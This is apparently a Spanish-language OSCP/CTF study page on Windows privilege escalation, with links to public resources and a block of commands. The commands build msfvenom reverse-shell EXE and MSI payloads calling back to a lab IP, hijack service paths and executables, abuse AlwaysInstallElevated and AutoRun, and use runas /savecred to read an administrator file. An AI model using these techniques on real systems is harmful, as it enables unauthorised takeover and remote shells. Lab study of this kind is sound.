xerosec
search
⌘Ctrlk
xerosec
  • whoami
  • CTF Checklists
    • Enumeración inicial
    • Vectores de ataque
    • Escalada de privilegios
    • Active Directory
  • Writeups
    • YouTube - Walkthroughs en español
    • Hack The Box
    • TryHackMe
  • Apuntes y recursos OSCP
    • Técnicas fundamentales
    • Linux
    • Windows
      • Windows Basics
      • Windows Privesc
      • Ataques MITM
      • Enumeración Post-Explotación
      • Ataques Post-Explotación
  • Recursos
    • Plataformas de aprendizaje
gitbookCon tecnología de GitBook
block-quoteEn esta páginachevron-down
  1. Apuntes y recursos OSCPchevron-right
  2. Windows

Windows Privesc

hashtag
Checklist - Escalada de privilegios en Windows

LogoChecklist - Local Windows Privilege Escalation - HackTricksbook.hacktricks.xyzchevron-right

hashtag
Windows Kernel Exploits

LogoGitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合GitHubchevron-right

hashtag
Generación de Reverse Shell ejecutable

LogoMSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter)Infinite Loginschevron-right

hashtag
Permisos sobre servicios

hashtag
Ruta absoluta del servicio sin entrecomillar (Unquoted Service Path)

hashtag
Ejecutables de servicios

hashtag
AutoRuns

hashtag
AlwayInstallElevated

hashtag
Aplicaciones inseguras con GUI

hashtag
Impersonation privileges

LogoPayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThingsGitHubchevron-right

hashtag
Potatoes

LogoJorge Lajara WebsiteJorge Lajara Websitechevron-right

hashtag
RunAs

AnteriorWindows Basicschevron-leftSiguienteAtaques MITMchevron-right

Última actualización hace 2 años

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
#Enumeración de permisos de usuario sobre un servicio
.\accesschk.exe /accepteula -uwcqv <USUARIO> <SERVICIO> 
#Si tiene habilitada la opción “SERVICE_CHANGE_CONFIG” se puede cambiar la configuración del servicio con dicho usuario
sc config <SERVICIO> binpath= "\"C:\<NUEVO_PATH>"" #Cambia el path para el servicio
net start <SERVICIO> #Inicia el servicio
sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net start < SERVICIO>
sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start < SERVICIO>
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run #Muestra el registro de ejecutables AutoRun
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe”
#Para que funcione el exploit la máquina tiene que reiniciarse y alguien tiene que iniciar sesión, si es un admin mejor :)
#Muestra el registro para los valores de AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#Creamos un instalador con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
#Nos ponemos a la escucha con netcat y ejecutamos el instalador
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
#Comprobar usuario que está ejecutando la aplicación
tasklist /V | findstr <Programa>.exe
#Si es posible, abrir un cmd.exe desde la GUI para obtener sesión como dicho usuario
#Por ejemplo: introducir “file://c:/windows/system32/cmd.exe” en la barra de navegación
cmdkey /list
C:\Windows\System32\runas.exe /user: <DOMAIN>\<USER> /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt" #Ejemplo para leer la flag de root y almacenarla en otra carpeta
#RunAs es equivalente a “sudo” en Linux